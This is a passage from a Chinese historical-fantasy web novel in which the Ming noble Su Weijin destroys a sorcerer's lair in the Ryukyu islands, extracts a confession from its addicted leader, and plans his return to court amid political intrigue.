“大人,这样打下去不行!”苏惟虎满脸是血,喘着粗气,“咱们的人越打越少,他们的援军快到了!”
苏惟瑾抬头,看向石殿。
那黑色建筑像个张着大嘴的怪兽,里面不知还藏着什么。
“胡三!”他喊。
胡三从后面钻出来,手里牵着两条猎犬——这一路战斗,他和他的“小友”们一直跟在后面。
“三爷,让你的狗闻闻,这石殿还有没有别的出口?”
胡三蹲下,对猎犬低声说了几句。两条狗围着石殿转了一圈,最后停在西侧一处石壁前,狂吠不止。
“这里有暗门!”胡三眼睛一亮。
苏惟瑾立刻分兵:“惟虎,你带五百人继续正面强攻,吸引注意。大山,你带三百人,跟我去暗门!”
“得令!”
---
石殿西侧,果然有处隐蔽的暗门,藏在藤蔓后面。
门是石门,厚约尺余,人力难开。但难不倒胡三——他掏出个小瓶,将里面粘稠的液体倒在门轴处。那是他特制的“蚀铁水”,以硝石、硫磺、醋混合而成,腐蚀性极强。
“滋滋”声中,门轴冒起白烟。
“撞!”
十几个壮汉抱着撞木,猛撞石门。
“轰隆——!”
石门终于倒塌。
里面是一条向下的石阶,深不见底,有阴风从底下吹上来,带着浓重的草药味和……血腥味。
“下!”苏惟瑾率先踏入。
石阶蜿蜒向下,约莫下了三四十级,眼前豁然开朗。
这是一个巨大的地下洞穴,比上面的谷地还大。洞穴中央是个深坑,坑里堆满白骨,有人骨,也有兽骨。四周摆满各种器具:铜鼎、陶罐、蒸馏设备、还有成排的木架,架上摆满瓶瓶罐罐。
最骇人的是洞穴一角,用铁笼关着几十个人。这些人衣衫褴褛,骨瘦如柴,眼神空洞,有的身上还插着管子,管子里流动着暗红色的液体——那是在抽取他们的血液,用来炼制“神药”!
“畜生!”周大山目眦欲裂。
就在这时,洞穴深处传来脚步声。
嵬名承天从阴影中走出。他竟从上面的高台,通过密道先一步下来了!
“苏惟瑾,你果然找来了。”他嘶哑地笑,“也好,就让这里,成为你的葬身之地。”
他拍了拍手。
洞穴四周的暗门打开,又冲出数十个死士。这些死士比上面的更可怕——他们不仅服用了“勇武膏”,身上还插着金属管子,管子里流动着暗绿色的液体,不知是什么邪术。
“杀!”周大山提刀就上。
但这一次,死士们强得离谱。
一个死士硬受周大山一刀,刀刃砍进肩膀寸许,竟被肌肉夹住。那死士反手抓住刀背,猛地一拽,周大山竟被带得踉跄。另一个死士扑来,五指如钩,直掏周大山心窝——
“当!”
苏惟瑾及时赶到,一剑荡开利爪。但那死士力大无穷,震得他虎口发麻。
“大人小心!”几个亲兵抢上,用盾牌挡住死士。
战斗在地下洞穴展开,更加凶险。空间有限,军阵施展不开,只能各自为战。虎贲营虽勇,但死士不惧伤痛,一个换一个,也是明军吃亏。
嵬名承天站在远处,看着这场厮杀,脸上露出享受的表情。
“对,就是这样……流血,死亡,痛苦……这些都是最好的祭品!”他张开双臂,状若疯狂,“等本座杀了你,用你的血炼成‘神药’,就能控制更多人!到时候,整个琉球、日本,甚至大明……”
“你做夢!”苏惟瑾冷笑。
他一边与死士缠斗,一边观察嵬名承天。超频大脑飞速分析:这老魔头始终站在那个位置不动,脚下似乎有什么东西……是个石台?台上刻着花纹……
是阵法!
这老东西在借助地下洞穴的某种阵法,增强死士的力量!
“大山!惟虎!攻他脚下的石台!”苏惟瑾大吼。
周大山、苏惟虎闻言,奋力杀开一条血路,冲向嵬名承天。
但死士们疯狂阻拦,用身体挡住去路。周大山连斩三人,还是冲不过去。
嵬名承天狂笑:“没用的!这‘血祭大阵’已成,你们都得死在这里!”
他从怀中取出一枚药丸——有鸡蛋大小,通体血红,散发着诡异的光芒。
“这是本座毕生心血炼成的‘神血丹’,”嵬名承天将药丸举起,“服下后,可拥有神魔之力!苏惟瑾,你能逼本座用出此丹,也算死得其所了!”
他一张口,
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将药丸吞下。
瞬间,异变发生!
嵬名承天身体剧烈颤抖,黑袍鼓胀,双眼变得赤红如血。他的肌肉开始膨胀,将黑袍撑裂,露出下面青筋暴起的皮肤。指甲变长变黑,如野兽利爪。口中长出獠牙,发出非人的嘶吼。
他,变成了一个怪物!
“嗷——!”
嵬名承天扑向苏惟瑾,速度快得只剩残影。
周大山横刀拦截,却被一爪拍飞,撞在石壁上,口吐鲜血。苏惟虎挺**去,枪尖刺中嵬名承天胸口,竟发出金铁交击之声,只刺入半寸,就再也进不去。
“死!”嵬名承天反手抓住枪杆,硬生生折断,一拳将苏惟虎打飞。
苏惟瑾连连后退,心中急转。
这怪物力大无穷,刀枪难伤,怎么打?
他观察着嵬名承天的动作——虽然狂暴,但步法僵硬,转身迟缓。而且……那赤红的眼睛里,似乎有一丝痛苦?
对了!这“神血丹”药效太猛,他身体承受不住,意识正在被侵蚀!
就在嵬名承天再次扑来时,苏惟瑾从怀中取出一物。
是个竹筒,一尺来长,两头封蜡——这是胡三特制的**,箭镞涂了箭毒木汁液和曼陀罗提取物混合的神经毒素,见血封喉。
但嵬名承天皮肤坚硬,寻常**根本刺不穿。
苏惟瑾不退反进,在嵬名承天利爪抓来的瞬间,侧身闪避,同时将**对准他脖颈——那里皮肤较薄,且有血管。
“噗!”
**射出,正中颈侧!
嵬名承天身形一顿。
他低头,看见颈上插着的小箭,狂吼一声,伸手去拔。但毒素已随血液扩散,他动作越来越慢,眼中的赤红渐渐褪去,露出原本的苍白。
“不……不可能……”他嘶声道,“本座的……神躯……”
“噗通!”
庞大的身躯轰然倒地,激起一片尘土。
那些死士,在嵬名承天倒下的瞬间,齐齐一僵,然后如同断了线的木偶,纷纷倒地——他们是被药物控制的,施术者一死,控制就解除了。
洞穴里,死寂。
只有火把燃烧的噼啪声,和伤者的呻吟。
苏惟瑾拄着剑,喘着粗气。这一战,太险了。
周大山挣扎着爬起来,抹了把嘴角的血:“大人……赢了?”
“赢了。”苏惟瑾点头。
他走到嵬名承天的尸体前。这老魔头死后,身体迅速干瘪,又变回了那个干瘦老者。只是那双眼睛还睁着,满是难以置信。
苏惟瑾俯身,从他怀中搜出几本册子——是西夏文写的药方、阵法图、还有……与萨摩藩的往来信件。
他收起册子,转身看向那些被关在笼子里的人。
“打开笼子,救人。”
士兵们砸开铁笼。那些可怜人颤巍巍地走出来,有的跪下磕头,有的放声大哭。
苏惟瑾走出洞穴,回到地面。
天,快亮了。
东方的海平面上,露出一线鱼肚白。南湾方向的炮声已经停了,北崖那边也没了喊杀声。战斗,结束了。
苏惟山、还有攀崖幸存下来的敢死队员,陆续汇合过来。人人带伤,但眼中都有光。
“哥,”苏惟虎包扎着胳膊上的伤口,“清点过了,咱们伤亡八百多人,其中阵亡三百余。歼敌……至少一千五。”
惨胜。
但确实是胜了。
苏惟瑾望向石殿,那黑色建筑在晨光中显得格外阴森。
“烧了。”他下令,“所有邪物,统统烧掉。”
士兵们泼上火油,扔进火把。
熊熊烈焰腾起,将石殿、实验室、那些瓶瓶罐罐,全部吞噬。黑烟滚滚,直冲云霄。
火焰中,隐约传来噼啪的爆裂声,像是那些冤魂在欢呼。
苏惟瑾站在山岗上,看着这片燃烧的魔窟。
黑巫师集团,覆灭了。
但他的手,却紧紧攥着从嵬名承天身上搜出的信件。
那上面,有萨摩藩主岛津贵久的印章。
还有一句话:
“……待大师神药大成,你我共分琉球。届时,明国东南,亦在掌中……”
奄美大岛魔窟覆灭,黑巫师首领伏诛。
但萨摩藩的威胁并未解除,岛津贵久的野心已昭然若揭。
更让人不安的是,在清理石殿废墟时,士兵发现了一条隐秘的海底密道——通往何处?
里面藏着什么?
而远征军伤亡惨重,粮草**所剩无几,是立即班师回朝,还是趁势解决萨摩藩这个隐患?
苏惟瑾手中那封密信,又将引发怎样的波澜?
东海之战,看似结束,实则刚刚揭开更大阴谋的序幕。
第383章 肃清余孽尽,琉球归王化
当奄美大岛的最后一缕黑烟散尽,苏惟瑾站在焦土之上意识到——斩草若不除根,这东海永远不会有真正的安宁。
十月十三,清晨,奄美大岛。
石殿的大火烧了整整一夜,到天亮时才渐渐熄灭。整座山谷弥漫着焦糊味,混合着硫磺、药材烧焦的怪异气息。黑黢黢的废墟还在冒着青烟,像头垂死的巨兽。
虎贲营的士兵们正在清理战场。他们将明军阵亡将士的遗体小心收敛,用白布裹好,抬到岸边准备运回;敌人的尸体则堆在一起,浇上火油焚烧。这是苏惟瑾的命令——黑巫师邪术诡异,尸体必须彻底处理,以免后患。
周大山胳膊吊在胸前,那是昨夜被嵬名承天震伤的结果。他龇牙咧嘴地指挥着,嘴里还不闲着:“仔细搜!墙缝里、地底下,只要是能藏东西的地方,都给老子翻一遍!”
苏惟瑾没参与清理,他坐在临时搭起的军帐里,面前摊着从嵬名承天身上搜出的几本册子和信件。
鹤岑老道坐在对面,正艰难地翻译那些西夏文。老道眉头紧锁,额上渗出细汗——这些文字太古老,许多连他也认不全。
“这页说……以童男心血合**精粹,可炼‘神血丹’。”鹤岑声音发颤,“需连服七七四十九日,每日杀一童男……畜生!简直是畜生!”
苏惟瑾面色铁青。
他翻看那些信件。有用汉字写的,有蒙古文,有日本假名,甚至还有几封用阿拉伯字母写的——看内容,是南洋苏丹国。
内容触目惊心。
一封给蒙古土默特部首领的信,提议“南北夹击,共分大明”;一封给日本萨摩藩岛津贵久的信,约定“神药大成之日,即共取琉球之时”;还有几封是给南洋海盗集团的,许诺提供“可让官兵丧失战力之药”……
最让苏惟瑾心惊的,是压在最后的一封。
信纸泛黄,墨迹陈旧,显然有些年头了。用的是汉字,但字迹刻意扭曲,像是怕被人认出笔迹。内容只有短短几行:
“辽东之事,可按计而行。女真诸部,已应联手。待东南乱起,北方呼应,大事可成。”
没有落款,只在末尾画了个古怪的符号——像火焰,又像扭曲的人脸。
“辽东……女真……”苏惟瑾喃喃道。
他当然知道这意味着什么。历史上的后金崛起,就是在嘉靖、万历年间开始积蓄力量。如果黑巫师势力早就渗透到辽东,勾结女真部落……
“大人,”苏惟虎走进军帐,脸色不太好看,“地下洞穴深处,又发现了一个暗室。”
“里面有什么?”
“您……最好亲自去看看。”
暗室在洞穴最深处,藏在石壁后面,需要转动机关才能打开。里面不大,约莫两丈见方,但堆得满满当当。
靠墙是十几口大箱子,打开一看,全是白花花的银子、黄澄澄的金锭,粗略估算不下三十万两!还有成箱的珠宝、玉器、珊瑚。
但更引人注目的是另一侧的架子。
架上整齐码放着卷宗,每卷都标着记号:有的写“福建布政司某官**录”,有的写“浙江都司某将通倭证”,还有“南京某勋贵走私账目”……全都是大明官员的把柄!
“这老东西,”周大山倒吸一口凉气,“是想用这些要挟朝廷命官啊!”
苏惟瑾随手抽出一卷,展开一看,里面详细记录了某位福建参将如何收取倭寇贿赂、如何放水让倭寇船队通过防区,时间、地点、金额,一清二楚,还附有书信原件。
“收好。”他沉声道,“这些卷宗,比金银更重要。”
有了这些,东南官场哪些人干净、哪些人脏,一目了然。这是将来整顿吏治的利器。
最后在暗室角落,发现了一口铁箱。
箱子上了三重锁,砸开后,里面是一叠地图。
不是寻常地图,而是——大明沿海布防图!九边军镇驻兵图!甚至还有一张紫禁城的粗略布局图!
每张图旁边都有详细标注:某卫所有兵多少、某关口何时换防、某段长城有破损可潜入……
“通敌!”苏惟虎咬牙切齿,“这狗东西,把大明的家底全卖给外人了!”
苏惟瑾默默收起地图。
他知道,嵬名承天**,但这张他编织多年的网,还有太多节点需要清理。
十月十五,苏惟瑾提审嵬名承天。
这老魔头被关在特制的铁笼里,四肢用铁链锁着,脖子上套着木枷——这是鹤岑的主意,说能压制邪术。他吞服的“神血丹”药效过后,身体迅速衰败,如今瘦得皮包骨,蜷在笼角,只有那双深陷的眼睛还闪着怨毒的光。
“嵬名承天,”苏惟瑾坐在笼外,“你的同党,还有哪些?”
嵬名承天咧嘴,露出残缺的黄牙:“你觉得……本座会说?”
“你可以不说。”苏惟瑾淡淡道,“但你那些卷宗,我已经找到了。福建参将刘大勇,浙江按察副使赵文奎,南京守备太监高凤……这些人,都是你的狗吧?”
嵬名承天瞳孔一缩。
“你不说,我也可以一个个查。”苏惟瑾俯身,盯着他,“但我给你个机会。说出来,我给你个痛快。不说——”
他朝外招招手。
胡三端着个托盘进来。盘上放着一小包白色粉末,还有一碗清水。
“认得这是什么吗?”苏惟瑾捏起一点粉末,“**。**的精华。你研究了半辈子,也没提纯到这种程度吧?”
嵬名承天的呼吸急促起来。
毒瘾犯了。
他浑身发抖,口水从嘴角流下,眼睛死死盯着那包粉末。
“想尝尝吗?”苏惟瑾将粉末倒进碗里,搅匀,“告诉我,你在辽东的同伙是谁?女真部落里,谁在跟你合作?”
嵬名承天挣扎着,喉咙里发出野兽般的低吼。毒瘾的痛苦,比刀割更难受。但他还在硬撑。
苏惟瑾不急。
他端起碗,走到笼边:“这碗药喝下去,你会飘飘欲仙,什么痛苦都忘了。但药效过后……瘾会更大,更痛苦。到时候,你会求着我给你下一碗。”
他将碗凑到笼边。
药水的味道飘进笼里。
嵬名承天最后的防线崩溃了。
“我说……我说!”他嘶声道,“辽东……哈达部的王忠……他是我早年收的弟子!还有……叶赫部的逞加奴、仰加奴兄弟,他们也……也用过我的药!”
苏惟瑾记下名字。
“萨摩藩那边呢?”
“岛津贵久……他想要琉球,我想要明国……我们约定,神药炼成后,先控制琉球王室,再……再图大明东南……”
“南洋呢?”
“三佛齐的旧港,有我们一个据点……首领叫陈祖义,是……是陈瞎子的族弟……”
嵬名承天像倒豆子一样,把所有同党都供了出来。每说一个,苏惟瑾就在心中记下一笔。
等他说完,苏惟瑾将药碗放在笼边。
“喝了吧。”
嵬名承天扑到碗边,像狗一样舔舐。药水下肚,他脸上露出迷幻的笑容,蜷缩着睡着了。
苏惟瑾走出囚室。
“大人,真给他痛快?”周大山问。
“痛快?”苏惟瑾冷笑,“等他醒了,毒瘾会更厉害。到时候,他会求着我们把知道的全说出来——甚至包括我们没问的。”
这就是**的可怕。它能让人出卖一切,包括灵魂。
十月十八,琉球本岛,首里城。
这座王城建在小山上,白墙红瓦,风格介于大明和日本之间。往日这里戒备森严,但今日,城门大开,琉球王尚真率文武百官,亲自出城十里相迎。
尚真六十多岁,瘦削,面色苍白,眼窝深陷——那是长期被蛊毒折磨的结果。见到苏惟瑾,他颤巍巍就要跪拜。
“陛下不可!”苏惟瑾连忙扶住,“外臣受不起。”
“受得起!受得起!”尚真老泪纵横,“若非伯爷相救,寡人……寡人至今仍是那妖人的傀儡!”
他身后,尚清王子也躬身行礼,满脸羞愧。
入城后,在王宫正殿举行了隆重的仪式。
尚真当众宣布:清除国中所有黑巫师余党,凡与嵬名承天有牵连者,一律严惩。同时,他双手奉上一卷文书。
“此乃《琉球永为大明藩属誓书》。”尚真声音洪亮,“自今日起,琉球世世代代,永为大明藩属,绝不背离!敝国愿开放那霸、名护两港,供天朝水师驻防;愿岁岁朝贡,不敢有缺;愿协助天朝,剿灭海疆一切盗匪!”
苏惟瑾代表大明,赐予琉球王新的冠服、印信——旧的已被黑巫师玷污。又宣布:减免琉球三年贡赋,以示抚慰。
仪式后,尚真私下求见。
“伯爷,”他屏退左右,低声道,“寡人还有一事相求。”
“陛下请讲。”
“那蛊毒……虽嵬名承天已死,但寡人体内余毒未清,每月仍会发作……”
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尚真脸色惨白,“求伯爷……救救寡人。”
苏惟瑾早有准备。
他取出一瓶“清心丹”:“此药可缓解毒性,但根治……需长期调理。外臣会留下一位医官,为陛下诊治。”
尚真千恩万谢。
他知道,从今往后,琉球的命运已和大明牢牢绑在一起。
十月廿五,苏惟瑾重返奄美大岛。
这里正在大兴土木。
五百名明军士兵留下来驻防,他们砍伐树木、平整土地,在海湾东西岬角上新建炮台——这次用的是从月港运来的改良火炮,射程更远。岸边正在修建船坞、仓库、营房,一个小型基地已初具雏形。
“此地距福州一千二百里,距日本九州不足八百里。”苏惟瑾站在新建的瞭望台上,对周大山等人道,“在此驻军,东可监控日本,南可威慑南洋,北可护卫琉球——这是大明在东海的第一颗钉子。”
周大山挠头:“大人,咱们在这儿驻军,朝廷能答应吗?这粮草补给,可都是钱啊。”
“所以不能全靠朝廷。”苏惟瑾早有打算,“琉球王答应,每年提供部分粮草。另外,这岛土地肥沃,可以屯田。更重要的是——”
他指向南边海湾:“那里可以建成贸易中转站。南洋的香料、日本的银子、大明的丝绸瓷器,都可以在这里交易。抽一成税,就够养兵了。”
苏惟虎眼睛一亮:“这主意好!既巩固海防,又能赚钱!”
正说着,胡三急匆匆跑来。
“公子!有发现!”
“什么发现?”
“那个海底密道……俺带人下去探了!”胡三喘着气,“您猜通到哪儿?”
“哪儿?”
“通到岛的另一边!那里……有个秘密码头!停着三艘船,船上全是……硫磺和硝石!还有几门没运走的火炮!”
苏惟瑾立刻带人赶去。
密道出口在岛北一处隐蔽的海湾,三艘日本式样的帆船静静停泊。船上货物清点下来:硫磺两万斤,硝石一万五千斤,还有六门弗朗机炮,都是崭新的。
“这是萨摩藩的货。”苏惟瑾看着船上的家纹,“岛津贵久,手脚真快。”
显然,嵬名承天死后,萨摩藩还想继续这个基地。只是没想到明军动作更快。
“把船和货都扣下。”苏惟瑾下令,“炮装上咱们的炮台。”
十一月初,第一批来自月港的补给船到了。
随船来的还有苏惟奇的信。信中说:月港一切安好,海贸日盛,市舶司上月税收破五万两。但京城那边……风声不太对。
“严嵩党羽近日连上奏章,**兄长‘擅启边衅’、‘靡费国帑’、‘私设海外兵镇’。虽有陛下回护,但议论纷纷。费公让转告兄长:功高震主,需早做打算。”
苏惟瑾看完信,沉默良久。
周大山在一旁愤愤不平:“咱们拼死拼活,他们在京城说风凉话!大人,回去非宰了那帮孙子不可!”
“宰了又如何?”苏惟瑾淡淡道,“宰了一个严嵩,还有张嵩、李嵩。朝堂之事,不是打打杀杀就能解决的。”
他走到崖边,望着茫茫东海。
这里天高皇帝远,海阔凭鱼跃。但终究……还是要回去的。
“传令,”他转身,“再留一个月。把基地彻底建好,把琉球的事情理顺。然后……回京。”
“大人,”苏惟虎小心问,“回去后,万一陛下听信谗言……”
“那就让他们说。”苏惟瑾眼中闪过锐光,“我倒要看看,是我这个靖海伯的功劳硬,还是他们的嘴硬。”
海风吹来,掀起他的衣袍。
远处,新建的炮台上,士兵正在试炮。
“轰——!”
炮声震天,惊起一群海鸟。
这东海,从此要换一片天了。
奄美基地初成,琉球归心,黑巫师余孽肃清。
但朝中**如潮,功高震主的危机已然逼近。
更蹊跷的是,在清理萨摩藩那三艘船时,士兵在船舱暗格里发现了一封密信——不是日文,也不是汉文,而是蒙古文!信中提到“辽东已备,只待东南信号”。
这信号是什么?辽东的女真部落,与萨摩藩又有何关联?
苏惟瑾带着这封密信和满身功勋返京,等待他的,究竟是封赏盛宴,还是鸿门宴局?
而那封蒙古密信背后的阴谋,是否比黑巫师更加凶险?
平静的海面下,更大的暗流正在涌动。
第384章 返航思进退,瑾定韬晦策
当琉球的烽烟散尽,返航的船头调转北方时,苏惟瑾知道——真正的战场不在海上,而在那座红墙黄瓦的紫禁城里。
嘉靖十三年腊月初七,东海。
返航的船队共四十艘,比去时少了二十艘——有的战损了,有的留在了奄美大岛驻防。旗舰“靖海号”的帆已经洗过,但甲板上还留着几处修补的痕迹,那是炮战留下的勋章。
海面上风平浪静,顺风顺水。按这个速度,再有七八天就能看见福建海岸了。
但船上的气氛,却比去时凝重得多。
苏惟瑾站在船头,望着北方海天相接处。海风吹起他麒麟补服的衣角,腰间那柄尚方剑在冬日阳光下泛着冷光。二十五岁的靖海伯,此刻眉头微锁,像是在盘算什么。
周大山从后面走来,胳膊已经拆了绷带,但动作还有些僵硬。他咧嘴笑道:“大人,再有几天就到家了!俺都想婉妹做的红烧肉了!”
苏惟瑾回头看他一眼,也笑了:“也想你闺女了吧?”
周大山去年得了女儿,取名**安,如今该会叫爹了。这铁打的汉子一听这话,眼眶竟有些发红:“那可不……出来小半年了,娃娃都不认得俺了。”
“很快就见到了。”苏惟瑾拍拍他肩膀,“走,去议事。”
船舱里已经坐了几个人。苏惟虎、鹤岑、胡三都在,还有几个核心军官。桌上摆着海图,但没人看海图——大家的目光都落在苏惟瑾脸上。
“诸位,”苏惟瑾在主位坐下,“再过几日就到月港。休整数日后,我们就要回京了。”
众人点头。打了胜仗,自然要回京领赏。
“但这次回京,”苏惟瑾话锋一转,“恐怕不会太平。”
苏惟虎皱眉:“大人的意思是……”
“功高震主。”鹤岑老道捻须,接过了话头,“伯爷这次东南之行,功劳太大。平倭、整海防、收琉球、灭邪教——四件大功,随便哪一件都够封侯拜相。四件凑在一起……”
他顿了顿,没往下说。但所有人都明白。
周大山挠头:“功劳大还不好?陛下不得重重封赏?”
“赏是肯定要赏的。”苏惟瑾淡淡道,“但赏完之后呢?朝中那些文官,尤其是言官清流,会怎么看?一个二十五岁的伯爵,手握重兵,战功赫赫,还深得陛下信任——他们会睡不着觉的。”
苏惟虎恍然:“所以他们会**?”
“已经在**了。”苏惟瑾从怀中取出一叠信,“这是月港那边传来的消息。严嵩党羽这两个月上了十七道奏章,说我‘擅启边衅’、‘靡费国帑’、‘私设海外兵镇’。连一些清流,也在议论‘武臣干政’。”
舱内一片寂静。只有海浪拍打船舷的声音。
良久,胡三啐了一口:“**!咱们在外头拼命,他们在京城说风凉话!什么玩意儿!”
“正常。”苏惟瑾倒是平静,“官场就是这样。你弱了,他们踩你;你强了,他们忌惮你。所以这次回京,咱们得有个章程。”
他看向鹤岑:“国师有何高见?”
鹤岑沉吟片刻:“伯爷可效仿古人,主动上交部分兵权,以示无二心。譬如当年郭子仪,功高不居,方得善终。”
“此为一策。”苏惟瑾点头,“但兵权不可全交。交了,就是人为刀俎我为鱼肉。”
他站起身,走到舱窗前,望着外面湛蓝的海面:“我是这么打算的。”
“第一,虎贲营。”他转身,“返京后,我会上奏陛下,请将虎贲营改编为‘皇家御林军’,直属陛下,由周大山继续统领。名义上归了皇帝,实际指挥权还在咱们手里。”
周大山眼睛一亮:“这个好!俺还是将军!”
“第二,福建水师。”苏惟瑾继续,“我会主动交还兵部,以示不专兵权。但月港基地的管辖权,必须保留——就说‘海防重地,需专设衙署管理’,请设‘月港海防司’,由朝廷派官,但实际人选……咱们可以运作。”
苏惟虎会意:“让苏惟奇当这个海防使?”
“对。他是我书童出身,知根知底。官职不高,正六品,不起眼,但实权在手。”
“第三,琉球驻军。”苏惟瑾道,“我会提议由陛下选派内官监军。太监去了海外,人生地不熟,还不是得靠咱们的人办事?驻军的实际控制权,还在奄美大岛的守将手里——那人是你旧部吧,大山?”
周大山咧嘴:“是!王铁柱,跟俺在广西打过仗,绝对可靠!”
“这就叫以退为进。”苏惟瑾坐回座位,“表面交权,实则保留了核心力量。陛下见我主动放权,会更信任;朝臣见我识趣,**的声音也会小些。”也会小些。”
鹤岑抚掌:“伯爷深谋远虑!”
“但还不够。”苏惟瑾又道,“朝堂之上,孤木难支。咱们需在朝中争取盟友。”
他掰着手指算:“费宏如今是福建巡抚,与我们合作愉快,可引为奥援。此人虽有些迂腐,但正直,在清流中有声望。”
“陆炳虽倒,但其旧部在锦衣卫仍有影响。陆清晏在府中,可以通过她暗中联络这些人——锦衣卫的消息,有时候比什么都管用。”
“至于勋贵……”苏惟瑾顿了顿,“郭勋倒台后,其势力真空。那些边缘勋贵,平日里受文官打压,早就憋着气。咱们可以拉拢几个,许以利益——东南的海贸,分他们一杯羹,他们自然站咱们这边。”
这一套组合拳下来,舱内众人都听呆了。
周大山张着嘴,半天才道:“大人……您这些弯弯绕绕,都是啥时候想的?”
“在琉球那两个月,闲着也是闲着。”苏惟瑾笑了,“怎么,听着头大?”
“头大!”周大山老实承认,“俺就听大人的!让俺打谁俺就打谁!”
“回京后你少说话,多练兵。”苏惟瑾正色道,“只要虎贲营——哦,皇家御林军在手,咱们就有了底气。朝堂上吵翻天,咱们也有掀桌子的本钱。”
“明白!”周大山挺胸。
苏惟瑾又看向苏惟虎:“惟虎,神机营的火器改良不能停。回京后,我会奏请在京郊设‘军器局’,专门研制新式火器。你来负责。”
“是!”
“胡三爷,”苏惟瑾转向胡三,“你的情报网要扩大。京城、九边、甚至辽东,都要有咱们的耳目。钱不是问题,月港的海贸赚的钱,够你花的。”
胡三嘿嘿笑:“公子放心,干这个俺拿手!”
最后,苏惟瑾看向鹤岑:“国师,回京后,陛下那边……”
“贫道明白。”鹤岑颔首,“陛下如今服‘清心丹’,神智清明,对伯爷信任有加。贫道会适时进言,巩固圣心。”
一切安排妥当。苏惟瑾长舒一口气。这盘棋,他布了半年。如今该收网了。
腊月十五,船队抵达月港。
码头上人山人海。百姓们听说靖海伯凯旋,自发来迎接。当“靖海号”靠岸时,欢呼声震天动地。
“伯爷威武!”
“大明万胜!”
苏惟瑾站在船头,朝百姓拱手。他看到人群中有白发老妪、稚龄孩童,还有那些在倭乱中失去亲人的遗属——此刻他们脸上是真心的笑容。
这一刻,他觉得值了。
下船后,苏惟瑾在月港停留了五天。这五天里,他把所有事情安排得井井有条。
苏惟奇正式接任“月港海防司提举”,虽然只是个六品官,但权限极大——月港的防务、市舶、甚至部分政务,都归他管。这个当年的书童,如今已是独当一面的人物。
“公子放心,”苏惟奇红着眼眶,“惟奇这条命是公子给的,定守好月港,等公子回来!”
彭友信的情报网升级了。苏惟瑾从琉球带回了大量金银,拨出五万两给他,让他在南洋、日本、甚至朝鲜都建立据点。“格物学堂”扩大招生,不仅教造船、
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火器,还增设了航海、算术、医药等科目。苏惟瑾亲自题写匾额:“格物致知,经世致用”。
“云裳阁”的总部正式迁到月港。依托港口优势,生丝、瓷器、茶叶的贸易量翻了三倍。苏惟瑾还让阁中掌柜开始尝试与葡萄牙、西班牙商人接触——这些西洋人虽然讨厌,但他们的银子是真的。
“将来有一天,”苏惟瑾对阁中大掌柜道,“咱们的船要开到西洋去。不是去打仗,是去做生意。把大明的货物卖到欧罗巴,把他们的白银赚回来。”
大掌柜听得心潮澎湃。一切都在按计划推进。
腊月二十,启程回京的前夜。
苏惟瑾在书房里整理文书。从琉球带回来的证据卷宗,他分门别类,哪些该呈给皇帝,哪些该留着当把柄,哪些该销毁——都要理清楚。
正忙着,胡三推门进来,手里拿着一封信。
“公子,京中来信。是夫人的笔迹。”
苏惟瑾接过。信封普通,但火漆上的印纹是特制的——那是他和芸娘约定的暗记。
拆开信,是芸娘娟秀的字迹。用的是暗语,外人看了只当是家常,但苏惟瑾一看就懂:
“京中流言渐起,有言伯爷功高震主者。严府近日宾客盈门,似在串联。陛下虽未表态,然西苑炼丹愈频,近日服丹量增三成,恐心智不稳。妾与诸妹一切安好,安宁已会走路,常指门外唤‘爹’。望夫君早归,切切。”
信不长,但信息量巨大。严嵩在串联,准备发难;嘉靖服丹量增加,精神状态可能反复;家中安宁——他的女儿,已经会走路,会叫爹了……
苏惟瑾握着信,久久不语。
胡三小心问:“公子,夫人说啥了?”
“说京城起风了。”苏惟瑾将信凑到烛火上,看着它燃成灰烬,“咱们得快点回去。”
他走到窗前。窗外,月港的灯火绵延数里。新建的炮台上,哨兵的身影在月光下清晰可见。远处船厂的工匠还在夜作,叮叮当当的敲击声隐约传来。
这东南的基业,刚刚成型。但京城的漩涡,已经张开大口等着他了。
“三爷,”苏惟瑾忽然道,“你说,要是我不当这个靖海伯,就留在月港,做个富家翁,会怎么样?”
胡三一愣,挠头道:“那……那这些基业不就白费了?那些百姓,不又得受倭寇欺负?还有琉球,不又得被黑巫师祸害?”
苏惟瑾笑了。是啊,回不去了。从当年沭阳那个书童苏小九,到如今权倾朝野的靖海伯苏惟瑾——这条路,是他自己选的。选了,就得走下去。
“传令,”他转身,“明日一早,启程回京。”
“是!”
胡**下后,苏惟瑾从书桌抽屉里取出一个小木盒。
打开,里面是五枚玉佩。芸娘的温润,文萱的雅致,雪茹的刚硬,香君的玲珑,清晏的冷冽——每枚玉佩,代表一个等他回家的女子。还有一枚长命锁,是给女儿安宁的。
他将这些贴身收好。然后提笔,在一张空白奏折上写下标题:
《请改虎贲营为皇家御林军疏》。
这场权力游戏的下半场,该他落子了。
苏惟瑾布好韬晦之策,启程返京。但芸娘信中透露的“陛下服丹量增三成,恐心智不稳”,却像一柄悬在头顶的利剑——若嘉靖帝再次沉迷丹药、神智昏聩,那些**苏惟瑾的奏章,会不会被轻易批准?
而严嵩的“串联”,究竟拉拢了哪些势力?
更蹊跷的是,在整理琉球带回的卷宗时,苏惟瑾发现了一份奇怪的名单:
上面列着十几个朝廷官员的名字,每个名字后面都标着数字,像是……某种密码?
这份名单,与辽东女真、萨摩藩又有何关联?
返京之路,步步杀机。
等待苏惟瑾的,究竟是庆功盛宴,还是鸿门宴局?
而那名单背后的阴谋,似乎比他想象的更加深远……
第385章 海船思危局,瑾析帝心变
当东海的风吹过旗舰的帆索,苏惟瑾在摇曳的烛光下看透了一个帝王的恐惧——那是对长生不老的痴迷,更是对权力旁落的战栗。
腊月二十一,子夜,东海。
船队离开月港已两日,此刻正行驶在福州外海。
夜空中无月,只有几颗寒星疏疏落落地挂着,海面黑得像墨,只有船首破开的浪花泛着幽幽的白光。
旗舰“靖海号”的舱室里,烛火在铜灯盏里静静燃烧。
火苗不时跳动一下,在舱壁上投出晃动的影子。
苏惟瑾坐在书案前,面前摊着那张已经化为灰烬的信——当然,是记忆中的信。
超频大脑如精密的放映机,将芸娘的字迹一撇一捺重新投射在眼前。
“京中流言渐起……严府近日宾客盈门……陛下服丹量增三成,恐心智不稳……”
每个字,都像一枚棋子,落在名为“朝局”的棋盘上。
他提起笔,在空白的宣纸上写下几个关键词:
嘉靖——丹药——权力——忌惮。
然后闭上眼,超频大脑全速运转。
这不是简单的回忆分析,而是基于现代心理学、博弈论、神经科学的知识体系,构建一个立体的人物心理模型。
首先,时间线。
嘉靖帝服食黑巫师炼制的“仙烟”(这是宫里的隐晦叫法)已近四年。
这种掺了**膏的丹药,会产生强烈的药物依赖。
四年时间,足够形成顽固的生理和心理依赖——就像后世那些瘾君子,明知道**有害,却无法自拔。
但嘉靖不是普通瘾君子。
